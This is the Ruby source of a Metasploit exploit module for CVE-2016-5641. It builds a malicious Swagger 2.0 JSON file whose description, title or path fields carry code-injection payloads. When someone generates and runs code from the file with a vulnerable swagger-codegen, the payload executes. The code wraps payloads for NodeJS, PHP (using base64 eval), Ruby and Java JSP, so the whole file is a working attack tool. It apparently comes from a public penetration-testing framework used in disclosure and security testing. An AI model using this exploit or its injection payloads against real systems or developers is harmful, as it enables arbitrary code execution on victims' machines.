## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # # Gems # require 'base64' # # Project # class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'JSON Swagger CodeGen Parameter Injector', 'Description' => %q{ This module generates a Open API Specification 2.0 (Swagger) compliant json document that includes payload insertion points in parameters. In order for the payload to be executed, an attacker must convince someone to generate code from a specially modified swagger.json file within a vulnerable swagger-codgen appliance/container/api/service, and then to execute that generated code (or include it into software which will later be executed by another victim). By doing so, an attacker can execute arbitrary code as the victim user. The same vulnerability exists in the YAML format. }, 'License' => MSF_LICENSE, 'Author' => [ 'ethersnowman ' ], 'References' => [ [ 'URL', 'http://github.com/swagger-api/swagger-codegen' ], [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641' ] ], 'Platform' => %w{ nodejs php java ruby }, 'Arch' => [ ARCH_NODEJS, ARCH_PHP, ARCH_JAVA, ARCH_RUBY ], 'Targets' => [ ['NodeJS', { 'Platform' => 'nodejs', 'Arch' => ARCH_NODEJS } ], ['PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ], ['Java JSP', { 'Platform' => 'unix', 'Arch' => ARCH_JAVA } ], ['Ruby', { 'Platform' => 'ruby', 'Arch' => ARCH_RUBY } ] ], 'DisclosureDate' => 'Jun 23 2016', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [false, 'The file to write.', 'msf-swagger.json']), OptString.new('INFO_DESCRIPTION', [true, 'Swagger info description', 'A']), OptString.new('INFO_VERSION', [true, 'Swagger info version.', '1.0.0']), OptString.new('INFO_TITLE', [true, 'Swagger info title.', 'C']), OptEnum.new('SWAGGER_SCHEME', [true, 'Protocol scheme', 'http', ['http','https','ws','wss']]), OptString.new('SWAGGER_HOST', [true, 'a valid hostname or IPv4']), OptString.new('BASE_PATH', [true, 'The root path of API on host.', '/']), OptString.new('PATH', [true, 'Path of request/response on root path.', '/a']), OptString.new('PATH_DESCRIPTION', [true, 'Description of a path request object', 'D']), OptString.new('PATH_RESPONSE_DESCRIPTION', [true, 'Description of a path response object', 'E']), OptString.new('DEFINITION_DESCRIPTION', [true, 'Description of an object definition.', 'F']) ]) end def swagger %Q( { "swagger": "2.0", "info": { "description": "#{datastore['INFO_DESCRIPTION']}", "version": "#{datastore['INFO_VERSION']}", "title": "#{datastore['INFO_TITLE']}" }, "schemes": [ "#{datastore['SWAGGER_SCHEME']}" ], "host": "#{datastore['SWAGGER_HOST']}", "basePath": "#{datastore['BASE_PATH']}", "produces": [ "application/json" ], "consumes": [ "application/json" ], "paths": { "#{datastore['PATH']}": { "get": { "description": "#{datastore['PATH_DESCRIPTION']}", "responses": { "200": { "description": "#{datastore['PATH_RESPONSE_DESCRIPTION']}", "schema": { "$ref": "#/definitions/d" } } } } } }, "definitions": { "d": { "type": "object", "description": "#{datastore['DEFINITION_DESCRIPTION']}", "properties": { "id": { "type": "integer", "format": "int64" } } } } } ) end def exploit case payload.arch[0] when 'nodejs' payload_loc = 'PATH' payload_prefix = "/a');};};return exports;}));" payload_suffix = "(function(){}(this,function(){a=function(){b=function(){new Array('" wrapped_payload = payload_prefix + payload.encoded.gsub(/"/, '\\"') + payload_suffix when 'php' payload_loc = 'INFO_DESCRIPTION' payload_prefix = "*/ namespace foobar; eval(base64_decode('" payload_suffix = "')); /*" wrapped_payload = payload_prefix + Base64.strict_encode64(payload.encoded) + payload_suffix when 'ruby' payload_loc = 'INFO_TITLE' payload_prefix = "=end " payload_suffix = "=begin " wrapped_payload = payload_prefix + payload.encoded + payload_suffix when 'java' payload_loc = 'PATH' payload_prefix = %q{a\\\"; "} p = payload.encoded.gsub(/<%@page import="/, 'import ') p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '') p = p.gsub(/"/, '\\"').gsub(/\n/, ' ') wrapped_payload = payload_prefix + p else raise IncompatiblePayloadError.new(datastore['PAYLOAD']) end datastore[payload_loc] = wrapped_payload print_status swagger file_create swagger end end